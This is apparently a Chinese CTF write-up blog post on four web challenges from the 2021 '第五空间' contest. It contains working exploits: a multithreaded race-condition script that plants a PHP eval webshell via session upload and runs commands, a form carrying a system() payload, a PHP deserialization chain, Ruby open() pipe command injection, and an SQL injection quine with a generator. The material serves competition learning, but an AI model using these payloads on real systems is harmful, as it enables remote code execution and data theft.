MENU

2021第五空间线上赛

December 25, 2021 • Read: 649 • Competition WP

复现平台:https://www.ctfer.vip/

WebFTP

打开环境

根据指纹找到了github上
源码

找到账号密码 原题目是修改了的 进不了

进入后台,但是很多文件读不了,应该是权限问题
发现存在git泄露

但是利用不了

经过审计发现有php指针

在phpinfo里面找到flag

EasyCleanup

<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

我们先读取一下phpinfo

if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell);

这里有个值得一提的是
这里有个??是php7才引进的
eg:

//作为if语句:
if(isset($a)){
    $a;
} else {
    $b;
}
 
//三元运算符:
(isset($a) ? $a : $b);
 
//null合并运算符
$a ?? $b;

简单一点就是

c = a ?? b;

表示如果a非空,则c = a,

如果a为空,则 c = b;

所以我们读取phpinfo发现了
session.upload_progress.cleanup参数是On
session.save_path参数为/temp

session利用的小思路
原题的环境session.upload_progress.cleanup参数是Off,原题可以利用构造表单
但是这里默认配置session.upload_progress.cleanup=On导致文件上传后,session文件内容立即清空,清空了就没办法利用了。我们要想办法把session留在里面,所以就要利用条件竞争,在session文件内容清空前进行文件包含利用。然后直接上脚本就行

#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat /nssctfasdasdflag');"}
#data = {"cmd":"system('find / -name flag*');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://1.14.71.254:28086/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('m1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://1.14.71.254:28086/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

然后原题目环境不一样,它可以不需要进行条件竞争
可以直接进行构造表单然后上传

<!DOCTYPE html>
<html>
<body>
<form action="http://challenge-0bf40e3d8065ad4e.sandbox.ctfhub.com:10800/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls /');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

然后我就去找了一下确实有环境在CTFHUB

然后去访问就行

然后修改命令执行语句就能得到flag

pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这个题说实话有点脑淤血

function echo_name()      
        {   
            $this->openstack = unserialize($this->docker);//第一步
            $this->openstack->neutron = $heat;//这个就是没用的
            if($this->openstack->neutron === $this->openstack->nova)//第一步引用的
            {
            $file = "./{$this->filename}";//当前路径
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file);//读取文件
                }  

所以我们先构造docker的值,因为需要acp类中的neutron和nova的值相等,所以引用

class ace{
    protected $cinder;
    public $neutron;
    public $nova;
 function __construct()
    {
        $this->neutron=&$this->nova;
    }
}
$a = new ace();
echo urlencode(serialize($a));//有不可见字,所以编一下码
////O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D

然后最终payload

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder=new ace();
    }
}
class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function __construct()
    {
        $this->filename='../../nssctfasdasdflag';
        $this->docker='O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D';
    }
}
$a=new acp();
echo urlencode(serialize($a));

得到flag

PNG图片转换器

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

官方文档
open这个函数能直接执行命令

意思就是以文件名|管道符开头的话会把这个当做命令去执行,然后open返回的是这个命令的输入输出流句柄
然后我直呼好家伙 这个环境里面没用flag,你敢信
所以又来到ctfhub

1:file=|echo "bHMgLw==" |base64 -d > 4548d64ea6995445b015f550804315ef.png

2:file=|sh 4548d64ea6995445b015f550804315ef.png

解码后得到目录

|echo "Y2F0IC9mbGFnXzg5ODA="|base64 -d > 4548d64ea6995445b015f550804315ef.png
|sh 4548d64ea6995445b015f550804315ef.png

得到flag

yet_another_mysql_injection

function alertMes($mes, $url)
{
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
 
function checkSql($s)
{
    if (preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i", $s)) {
        alertMes('hacker', 'index.php');
    }
}
 
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql = "SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result = mysqli_query($con, $sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong", 'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
        alertMes("wrong password", 'index.php');
    }
}

一篇极其古老的参考文献
思路并不复杂,首先要确定一个查询语句
因为是构造一个输入和查询结果相等,所以一般来说就直接' union select 1 as password就行

第一次替换
把用来套娃的语句REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)替换掉自己的查询语句查出的数据,即变为

' union select REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) as password

第二次替换,将上述语句的$$替换成"$",并把所有单引号转换到双引号

" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password

然后数据填入,把第一次替换中得到的语句中的$$替换为用单引号包裹的第二次替换中的语句

' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password

成功得到输入和查询结果相同的语句

mysql> select password from users where username='' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password;
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| password                                                                                                                                                                                                                                    |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

这里在最初的replace模板中就进行了单双引号的修改,所以2中将单引号变为双引号不影响最终结果
文章作者还贴了一个简单脚本来产生这类payload

data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$','"$"').replace("'",'"')
data = data.replace('$$',"'"+blob+"'")
print(data)
Last Modified: March 2, 2022
Archives Tip
QR Code for this page
Tipping QR Code